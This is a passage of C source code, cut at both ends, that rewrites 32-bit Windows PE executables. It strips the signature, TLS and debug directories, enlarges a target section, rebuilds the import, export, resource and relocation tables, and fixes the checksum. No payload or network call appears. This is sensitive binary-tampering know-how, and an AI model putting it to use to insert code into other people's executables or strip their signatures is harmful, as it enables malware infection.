    // Size/base header values are not necessary for the file to run

    pSanitizedImageOptionalHeader->SizeOfInitializedData=0;
    pSanitizedImageOptionalHeader->SizeOfUninitializedData=0;
    pSanitizedImageOptionalHeader->SizeOfCode=0;
    pSanitizedImageOptionalHeader->BaseOfCode=0;
    pSanitizedImageOptionalHeader->BaseOfData=0;
    
    // Generally, these data directories can be removed. Delayed imports and TLS are contextual exceptions
    
    pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].Size=0;
    pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress=0;
    
    pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size=0;
    pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress=0;
    
    pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size=0;
    pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].VirtualAddress=0;
    
    pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size=0;
    pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress=0;
    
    pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=0;
    pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=0;
    
    pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size=0;
    pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress=0;
    
    bTargetSectionAugmented=AugmentAllRequiredPE32SectionSizes(pAPITable, pSanitizedPE32Pool, dwSanitizedPE32PoolSize, ppAugmentedPE32Pool, pdwAugmentedPE32PoolSize, dwTargetSectionIndex, -1, dwTargetSectionAugmentationSize, NULL, pImportAbstractionTable, pExportAbstractionTable);
    
    pAPITable->GlobalFree(pSanitizedPE32Pool);
    
    return bTargetSectionAugmented;
}

BOOL
AugmentAllRequiredPE32SectionSizes
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE *ppAugmentedPE32Pool, PDWORD pdwAugmentedPE32PoolSize, DWORD dwTargetSectionIndex, DWORD dwTargetDataDirectoryIndex, DWORD dwTargetSectionAugmentationSize, PDATA_DIRECTORY_AUGMENTATION_RECORD pPreviousDataDirectoryAugmentationRecord, PIMPORT_ABSTRACTION_TABLE pImportAbstractionTable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable)
{   
    BOOL bTargetSectionAugmented=FALSE;
    DATA_DIRECTORY_AUGMENTATION_RECORD CurrentDataDirectoryAugmentationRecord;
    PBYTE pCurrentPE32Pool=pTargetPE32Pool, pAugmentedPE32Pool=NULL;
    DWORD dwCurrentPE32PoolSize=dwTargetPE32PoolSize, dwAugmentedPE32PoolSize=0;
    PIMAGE_DOS_HEADER pCurrentImageDOSHeader=pTargetPE32Pool;
    PIMAGE_FILE_HEADER pCurrentImageFileHeader=((PBYTE)pCurrentImageDOSHeader + pCurrentImageDOSHeader->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER pCurrentImageOptionalHeader=((PBYTE)pCurrentImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pCurrentImageSectionHeader=((PBYTE)pCurrentImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    CHAR CurrentTargetSectionName[256];
    
    pAPITable->lstrcpyA(CurrentTargetSectionName, (pCurrentImageSectionHeader + dwTargetSectionIndex)->Name);
    
    // Augment individual size. If this fails and an additional section must be augmented, use recursive logic. Otherwise, return.
        
    WipeMemory(&CurrentDataDirectoryAugmentationRecord, sizeof(DATA_DIRECTORY_AUGMENTATION_RECORD));
    
    while(!bTargetSectionAugmented)
    {
        DWORD dwRequiredAugmentedSectionIndex=-1, dwRequiredSectionAugmentationSize=0, dwRequiredAugmentedDataDirectoryIndex=-1;
        
        pAugmentedPE32Pool=NULL;
        dwAugmentedPE32PoolSize=0;
        
        if((bTargetSectionAugmented=AugmentIndividualPE32SectionSize(pAPITable, pCurrentPE32Pool, dwCurrentPE32PoolSize, &pAugmentedPE32Pool, &dwAugmentedPE32PoolSize, dwTargetSectionAugmentationSize, dwTargetSectionIndex, dwTargetDataDirectoryIndex, &dwRequiredAugmentedSectionIndex, &dwRequiredSectionAugmentationSize, &dwRequiredAugmentedDataDirectoryIndex, &CurrentDataDirectoryAugmentationRecord, pImportAbstractionTable, pExportAbstractionTable)))
        {   
            pCurrentPE32Pool=pAugmentedPE32Pool;
            dwCurrentPE32PoolSize=dwAugmentedPE32PoolSize;
            
            pCurrentImageDOSHeader=pCurrentPE32Pool;
            pCurrentImageFileHeader=((PBYTE)pCurrentImageDOSHeader + pCurrentImageDOSHeader->e_lfanew + 4);
            pCurrentImageOptionalHeader=((PBYTE)pCurrentImageFileHeader + sizeof(IMAGE_FILE_HEADER));
            pCurrentImageSectionHeader=((PBYTE)pCurrentImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    
            if(pPreviousDataDirectoryAugmentationRecord != NULL)
            {
                pPreviousDataDirectoryAugmentationRecord->bContainingSectionAugmented[dwTargetDataDirectoryIndex]=TRUE;
            }                                            
        }
        else
        {
            if(pAugmentedPE32Pool != NULL)
            {
                pAPITable->GlobalFree(pAugmentedPE32Pool);
            }
            
            pAugmentedPE32Pool=NULL;
            dwAugmentedPE32PoolSize=0;
            
            if(dwRequiredAugmentedSectionIndex != -1 && dwRequiredSectionAugmentationSize != 0)
            {
                PCHAR pRequiredAugmentedSectionName=(pCurrentImageSectionHeader + dwRequiredAugmentedSectionIndex)->Name;

                if(AugmentAllRequiredPE32SectionSizes(pAPITable, pCurrentPE32Pool, dwCurrentPE32PoolSize, &pAugmentedPE32Pool, &dwAugmentedPE32PoolSize, dwRequiredAugmentedSectionIndex, dwRequiredAugmentedDataDirectoryIndex, dwRequiredSectionAugmentationSize, &CurrentDataDirectoryAugmentationRecord, pImportAbstractionTable, pExportAbstractionTable))
                {
                    pCurrentPE32Pool=pAugmentedPE32Pool;
                    dwCurrentPE32PoolSize=dwAugmentedPE32PoolSize;
                    
                    pCurrentImageDOSHeader=pCurrentPE32Pool;
                    pCurrentImageFileHeader=((PBYTE)pCurrentImageDOSHeader + pCurrentImageDOSHeader->e_lfanew + 4);
                    pCurrentImageOptionalHeader=((PBYTE)pCurrentImageFileHeader + sizeof(IMAGE_FILE_HEADER));
                    pCurrentImageSectionHeader=((PBYTE)pCurrentImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
                }
                else
                {
                    break;
                }
            }
            else
            {
                break;
            }
        }
    }
    
    DWORD dwOldCheckSum=0, dwNewCheckSum=0;
    
    if(pAPITable->CheckSumMappedFile(pCurrentPE32Pool, dwCurrentPE32PoolSize, &dwOldCheckSum, &dwNewCheckSum) != NULL)
    {
        pCurrentImageOptionalHeader->CheckSum=dwNewCheckSum;
    }
    
    *ppAugmentedPE32Pool=pCurrentPE32Pool;
    *pdwAugmentedPE32PoolSize=dwCurrentPE32PoolSize;
        
    return bTargetSectionAugmented;
}

BOOL
AugmentIndividualPE32SectionSize
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE *ppAugmentedPE32Pool, PDWORD pdwAugmentedPE32PoolSize, DWORD dwTargetSectionAugmentationSize, DWORD dwTargetSectionIndex, DWORD dwTargetDataDirectoryIndex, PDWORD pdwRequiredAugmentedSectionIndex, PDWORD pdwRequiredSectionAugmentationSize, PDWORD pdwRequiredAugmentedDataDirectoryIndex, PDATA_DIRECTORY_AUGMENTATION_RECORD pCurrentDataDirectoryAugmentationRecord, PIMPORT_ABSTRACTION_TABLE pImportAbstractionTable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable)
{
    BOOL bStatus=FALSE;
    PBYTE pOriginalPE32Pool=pTargetPE32Pool, pAugmentedPE32Pool=NULL;
    PIMAGE_DOS_HEADER pOriginalImageDOSHeader=pOriginalPE32Pool;
    PIMAGE_FILE_HEADER pOriginalImageFileHeader=((PBYTE)pOriginalImageDOSHeader + pOriginalImageDOSHeader->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER pOriginalImageOptionalHeader=((PBYTE)pOriginalImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pOriginalImageSectionHeader=((PBYTE)pOriginalImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    DWORD dwX, dwY, dwZ, dwOriginalPE32PoolSize=dwTargetPE32PoolSize, dwOriginalPE32LastSectionIndex=(pOriginalImageFileHeader->NumberOfSections - 1), dwAugmentedPE32PoolSize=0;
    PDATA_DIRECTORY_SECTION_CORRESPONDENCE pOriginalDataDirectorySectionCorrespondences=pAPITable->GlobalAlloc(GPTR, (pOriginalImageFileHeader->NumberOfSections * sizeof(DATA_DIRECTORY_SECTION_CORRESPONDENCE)));
    
    // Gather section/data directory correspondence data: which data directories fall within each section
    
    for(dwX=0; dwX < pOriginalImageFileHeader->NumberOfSections; dwX++)
    {   
        for(dwY=0; dwY < pOriginalImageOptionalHeader->NumberOfRvaAndSizes; dwY++)
        {
            if(pOriginalImageOptionalHeader->DataDirectory[dwY].VirtualAddress >= (pOriginalImageSectionHeader + dwX)->VirtualAddress && pOriginalImageOptionalHeader->DataDirectory[dwY].VirtualAddress < ((pOriginalImageSectionHeader + dwX)->VirtualAddress + (pOriginalImageSectionHeader + dwX)->Misc.VirtualSize))
            {   
                (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[(pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories].dwDataDirectoryIndex=dwY;
                (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[(pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories].dwSize=pOriginalImageOptionalHeader->DataDirectory[dwY].Size;
                (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[(pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories].dwOffset=(pOriginalImageOptionalHeader->DataDirectory[dwY].VirtualAddress - (pOriginalImageSectionHeader + dwX)->VirtualAddress);
                
                (pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories++;
            }
        }
    }
    
    // Re-order data directory information blocks within section/data directory correspondences by memory offset from smallest to largest
    
    for(dwX=0; dwX < pOriginalImageFileHeader->NumberOfSections; dwX++)
    {
        DWORD dwCurrentTopDataDirectoryIndex;
        
        if((pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories > 1)
        {
            for(dwCurrentTopDataDirectoryIndex=0; dwCurrentTopDataDirectoryIndex < (pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories; dwCurrentTopDataDirectoryIndex++)
            {
                DWORD dwSmallestDataDirectoryOffset=0, dwSmallestDataDirectoryOffsetIndex=-1;
                
                for(dwY=dwCurrentTopDataDirectoryIndex; dwY < (pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories; dwY++)
                {
                    if((pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset < dwSmallestDataDirectoryOffset || (dwSmallestDataDirectoryOffset == 0 && dwSmallestDataDirectoryOffsetIndex == -1))
                    {
                        dwSmallestDataDirectoryOffset=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset;
                        dwSmallestDataDirectoryOffsetIndex=dwY;
                    }
                }
                
                if(dwSmallestDataDirectoryOffsetIndex != dwCurrentTopDataDirectoryIndex)
                {
                    DATA_DIRECTORY_INFORMATION TemporaryDataDirectoryInformation;
                    
                    TemporaryDataDirectoryInformation.dwDataDirectoryIndex=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwCurrentTopDataDirectoryIndex].dwDataDirectoryIndex;
                    TemporaryDataDirectoryInformation.dwOffset=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwCurrentTopDataDirectoryIndex].dwOffset;
                    TemporaryDataDirectoryInformation.dwSize=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwCurrentTopDataDirectoryIndex].dwSize;
                    
                    (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwCurrentTopDataDirectoryIndex].dwDataDirectoryIndex=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwSmallestDataDirectoryOffsetIndex].dwDataDirectoryIndex;
                    (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwCurrentTopDataDirectoryIndex].dwOffset=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwSmallestDataDirectoryOffsetIndex].dwOffset;
                    (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwCurrentTopDataDirectoryIndex].dwSize=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwSmallestDataDirectoryOffsetIndex].dwSize;
                    
                    (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwSmallestDataDirectoryOffsetIndex].dwDataDirectoryIndex=TemporaryDataDirectoryInformation.dwDataDirectoryIndex;
                    (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwSmallestDataDirectoryOffsetIndex].dwOffset=TemporaryDataDirectoryInformation.dwOffset;
                    (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwSmallestDataDirectoryOffsetIndex].dwSize=TemporaryDataDirectoryInformation.dwSize;
                }
            }
        }
    }   
    
    BOOL bSectionEndReference;
    PRELOCATION_ABSTRACTION pRelocationAbstractions=NULL;
    PIMPORT_ABSTRACTION_TABLE pCurrentImportAbstractions=NULL;
    
    if(pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != 0 && pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size != 0)
    {
        // Get IAT abstractions from original PE32
        
        PIMAGE_SECTION_HEADER pIATImageSectionHeader=GetEnclosingSectionHeader(pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, NULL, &bSectionEndReference);
        
        if(dwTargetSectionIndex <= GetSectionIndexByName(pAPITable, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pIATImageSectionHeader->Name))
        {
            PBYTE pIATPool=SolidifyEtherealAddress(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
            
            pCurrentImportAbstractions=GetAbstractionsFromIAT32(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pIATPool);
            
            //EnumerateIATContentsFromAbstractions32(pCurrentImportAbstractions);
            
            //system("pause");
        }
    }

    if(pCurrentImportAbstractions != NULL)
    {
        if(pImportAbstractionTable != NULL)
        {
            pCurrentImportAbstractions=pImportAbstractionTable;
        }
    }
    
    DWORD dwTotalNumberOfEntries=0, dwTotalNumberOfDirectories=0, dwTotalRawResourceDataSize=0;
    PRESOURCE_DIRECTORY_ABSTRACTION pTopLevelResourceDirectoryContainerAbstraction=NULL;
        
    if(pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress != 0 && pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size != 0)
    {
        // Get resource abstractions from original PE32
        
        PIMAGE_SECTION_HEADER pResourceImageSectionHeader=GetEnclosingSectionHeader(pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress, NULL, &bSectionEndReference);
        
        if(dwTargetSectionIndex <= GetSectionIndexByName(pAPITable, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pResourceImageSectionHeader->Name))
        {
            PBYTE pResourcePool=SolidifyEtherealAddress(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);
            
            pTopLevelResourceDirectoryContainerAbstraction=GetAbstractionsFromResources32(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pResourcePool, NULL, NULL, &dwTotalNumberOfEntries, &dwTotalNumberOfDirectories, &dwTotalRawResourceDataSize);
            
            //EnumerateResourceDirectoryAbstractionContents32(pTopLevelResourceDirectoryContainerAbstraction, NULL, TRUE);
        }
    }
    
    PEXPORT_ABSTRACTION_TABLE pCurrentExportAbstractionTable=NULL;
    DWORD dwExportDirectorySectionIndex=-1;
    
    if(pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress != 0 && pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size != 0)
    {
        // Get EAT abstractions from original PE32
        
        PIMAGE_SECTION_HEADER pEATImageSectionHeader=GetEnclosingSectionHeader(pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &dwExportDirectorySectionIndex, &bSectionEndReference);
        
        if(dwExportDirectorySectionIndex >= (dwTargetSectionIndex + 1))
        {
            PBYTE pEATPool=SolidifyEtherealAddress(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
            
            if((pCurrentExportAbstractionTable=GetAbstractionsFromEAT32(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pEATPool, dwExportDirectorySectionIndex)) == NULL)
            {   
                goto AugmentPE32SectionSizeCleanup;
            }
            else
            {
                //
            }
        }
        else
        {
            dwExportDirectorySectionIndex=-1;
        }
    }
    else
    {
        dwExportDirectorySectionIndex=-1;
    }

    if(pCurrentExportAbstractionTable != NULL)
    {
        if(pExportAbstractionTable != NULL)
        {
            pCurrentExportAbstractionTable=pExportAbstractionTable;
        }
    }
    
    // Get relocation abstractions from original PE32
    
    PBYTE pRelocationsPool=SolidifyEtherealAddress(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    DWORD dwRelocationsPoolSize=pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
    
    pRelocationAbstractions=GetAbstractionsFromRelocations32(pAPITable, pOriginalPE32Pool, pRelocationsPool, dwRelocationsPoolSize, pCurrentImportAbstractions);
    
    // Remove all sections that came before target section index

    dwAugmentedPE32PoolSize=dwOriginalPE32PoolSize;
    pAugmentedPE32Pool=pAPITable->GlobalAlloc(GPTR, dwAugmentedPE32PoolSize);
    
    RelocateMemory(pAugmentedPE32Pool, pOriginalPE32Pool, dwOriginalPE32PoolSize);
    
    PIMAGE_DOS_HEADER pAugmentedImageDOSHeader=pAugmentedPE32Pool;
    PIMAGE_FILE_HEADER pAugmentedImageFileHeader=((PBYTE)pAugmentedImageDOSHeader + pAugmentedImageDOSHeader->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER pAugmentedImageOptionalHeader=((PBYTE)pAugmentedImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pAugmentedImageSectionHeader=((PBYTE)pAugmentedImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    DWORD dwAugmentedPE32LastSectionIndex=(pAugmentedImageFileHeader->NumberOfSections - 1);
    
    // Augment target section size
    
    (pAugmentedImageSectionHeader + dwTargetSectionIndex)->Misc.VirtualSize += dwTargetSectionAugmentationSize;
    
    DWORD dwFileAlignedRawTargetSectionSize=((pAugmentedImageSectionHeader + dwTargetSectionIndex)->Misc.VirtualSize);
    
    for(; dwFileAlignedRawTargetSectionSize % pAugmentedImageOptionalHeader->FileAlignment != 0; dwFileAlignedRawTargetSectionSize++);
    
    (pAugmentedImageSectionHeader + dwTargetSectionIndex)->SizeOfRawData=dwFileAlignedRawTargetSectionSize;
    
    if((pAugmentedImageSectionHeader + dwTargetSectionIndex)->Characteristics & IMAGE_SCN_CNT_CODE)
    {
        //pAugmentedImageOptionalHeader->SizeOfCode += dwTargetSectionAugmentationSize;
    }
    
    if(dwTargetSectionIndex == dwAugmentedPE32LastSectionIndex)
    {
        pAugmentedImageOptionalHeader->SizeOfImage=((pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->VirtualAddress + (pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->SizeOfRawData);
    }
    else
    {
        for(dwX=dwOriginalPE32LastSectionIndex; dwX > dwTargetSectionIndex; dwX--)
        {
            if(RemovePE32Section(pAPITable, &pAugmentedPE32Pool, &dwAugmentedPE32PoolSize, dwX))
            {
                //
            }
            else
            {   
                goto AugmentPE32SectionSizeCleanup;
            }
            
            pAugmentedImageDOSHeader=pAugmentedPE32Pool;
            pAugmentedImageFileHeader=((PBYTE)pAugmentedImageDOSHeader + pAugmentedImageDOSHeader->e_lfanew + 4);
            pAugmentedImageOptionalHeader=((PBYTE)pAugmentedImageFileHeader + sizeof(IMAGE_FILE_HEADER));
            pAugmentedImageSectionHeader=((PBYTE)pAugmentedImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
            dwAugmentedPE32LastSectionIndex=(pAugmentedImageFileHeader->NumberOfSections - 1);
        }

        // Re-add all sections that came after target section
        
        DWORD dwSectionAlignedTargetSectionSize;
        
        if((pAugmentedImageSectionHeader + dwTargetSectionIndex)->SizeOfRawData < (pAugmentedImageSectionHeader + dwTargetSectionIndex)->Misc.VirtualSize)
        {
            dwSectionAlignedTargetSectionSize=(pAugmentedImageSectionHeader + dwTargetSectionIndex)->Misc.VirtualSize;
        }
        else
        {
            dwSectionAlignedTargetSectionSize=(pAugmentedImageSectionHeader + dwTargetSectionIndex)->SizeOfRawData;
        }
           
        for(; dwSectionAlignedTargetSectionSize % pAugmentedImageOptionalHeader->SectionAlignment != 0; dwSectionAlignedTargetSectionSize++);
        
        DWORD dwNextSectionRVA=((pAugmentedImageSectionHeader + dwTargetSectionIndex)->VirtualAddress + dwSectionAlignedTargetSectionSize);
        PDATA_DIRECTORY_SECTION_CORRESPONDENCE pNewDataDirectorySectionCorrespondences=pAPITable->GlobalAlloc(GPTR, (pOriginalImageFileHeader->NumberOfSections * sizeof(DATA_DIRECTORY_SECTION_CORRESPONDENCE)));
        
        RelocateMemory(pNewDataDirectorySectionCorrespondences, pOriginalDataDirectorySectionCorrespondences, (pOriginalImageFileHeader->NumberOfSections * sizeof(DATA_DIRECTORY_SECTION_CORRESPONDENCE)));
        
        pAugmentedImageOptionalHeader->BaseOfData=0; // Resetting this will cause the first section containing data added to the PE32 to be identified as the data base

        PBYTE pNewDataDirectoryPool=NULL;
        DWORD dwNewDataDirectorySize=0;
        int nOverlaySize;
            
        for(dwX=(dwTargetSectionIndex + 1); dwX <= dwOriginalPE32LastSectionIndex; dwX++)
        {
            PBYTE pOldSectionPool=pOriginalPE32Pool + (pOriginalImageSectionHeader + dwX)->PointerToRawData, pNewSectionPool=NULL;
            DWORD dwOldRawSectionPoolSize=(pOriginalImageSectionHeader + dwX)->SizeOfRawData, dwOldVirtualSectionPoolSize=(pOriginalImageSectionHeader + dwX)->Misc.VirtualSize, dwCurrentNewSectionPoolOffset=0;
            BOOL bGeneratedNewSectionData=FALSE;
            
            pNewSectionPool=pAPITable->GlobalAlloc(GPTR, dwOldRawSectionPoolSize);
                
            for(dwY=0; dwY < (pNewDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories; dwY++)
            {
                pNewDataDirectoryPool=NULL;
                dwNewDataDirectorySize=0;
                
                if((pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex == IMAGE_DIRECTORY_ENTRY_RESOURCE)
                {
                    CreateResourceSectionFromAbstractions32(pAPITable, &pNewDataDirectoryPool, &dwNewDataDirectorySize, (dwNextSectionRVA + (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset), dwTotalNumberOfDirectories, dwTotalNumberOfEntries, pTopLevelResourceDirectoryContainerAbstraction, NULL, NULL, NULL, dwTotalRawResourceDataSize, NULL);
                }
                else if((pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex == IMAGE_DIRECTORY_ENTRY_IMPORT)
                {   
                    CreateIATSectionFromAbstractions32(pAPITable, pCurrentImportAbstractions, &pNewDataDirectoryPool, &dwNewDataDirectorySize, dwNextSectionRVA + (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset, FALSE);
                }
                else if((pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex == IMAGE_DIRECTORY_ENTRY_BASERELOC)
                {   
                    if(CreateRelocationSectionFromAbstractions32(pAPITable, pAugmentedPE32Pool, pRelocationAbstractions, &pNewDataDirectoryPool, &dwNewDataDirectorySize))
                    {
                        //
                    }
                    else
                    {
                        //
                    }
                }
                else if((pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex == IMAGE_DIRECTORY_ENTRY_EXPORT)
                {
                    CreateEATSectionFromAbstractions32(pAPITable, pAugmentedPE32Pool, pCurrentExportAbstractionTable->pExportAbstractions, &pNewDataDirectoryPool, &dwNewDataDirectorySize, pCurrentExportAbstractionTable->dwTotalNumberOfExports, pCurrentExportAbstractionTable->dwNumberOfExportNames, pCurrentExportAbstractionTable->pExportsName, dwNextSectionRVA + (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset, dwExportDirectorySectionIndex, FALSE);
                }
                
                if(pNewDataDirectoryPool != NULL)
                {        
                    int nAugmentationSize=((int)dwNewDataDirectorySize - (int)(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwSize);
                    
                    if(nAugmentationSize > 0 && !pCurrentDataDirectoryAugmentationRecord->bContainingSectionAugmented[(pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex])
                    {
                        // Handle a required augmentation
                        
                        *pdwRequiredAugmentedSectionIndex=dwX;
                        *pdwRequiredSectionAugmentationSize=nAugmentationSize;
                        *pdwRequiredAugmentedDataDirectoryIndex=(pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex;
                                   
                        goto AugmentPE32SectionSizeCleanup;
                    }
                    else
                    {
                        bGeneratedNewSectionData=TRUE;
                        
                        (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwSize=dwNewDataDirectorySize;
                        
                        // Update the offset of all data directories that follow the current one within the current section
                        
                        for(dwZ=(dwY + 1); dwZ < (pNewDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories; dwZ++)
                        {
                            (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwZ].dwOffset += (dwNewDataDirectorySize - (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwSize);
                        }
                        
                        // Build new section pool from old section pool and new data directory
                        
                        pAugmentedImageOptionalHeader->DataDirectory[(pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex].Size=dwNewDataDirectorySize;
                        pAugmentedImageOptionalHeader->DataDirectory[(pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex].VirtualAddress=(dwNextSectionRVA + (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset);
                        
                        if(nAugmentationSize > 0)
                        {
                            // Fix relocation abstractions within modified range: if between new data dir VA and the end of its containing section, augment it
                        
                            AugmentRelocationAbstractions32(pAPITable, pOriginalPE32Pool, pRelocationAbstractions,
                                pOriginalImageOptionalHeader->DataDirectory[(pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex].VirtualAddress,
                                (pOriginalImageSectionHeader + dwX)->VirtualAddress + (pOriginalImageSectionHeader + dwX)->Misc.VirtualSize, (dwNewDataDirectorySize - (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwSize));
                        }
                        
                        if(dwCurrentNewSectionPoolOffset == 0 && (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset != 0)
                        {
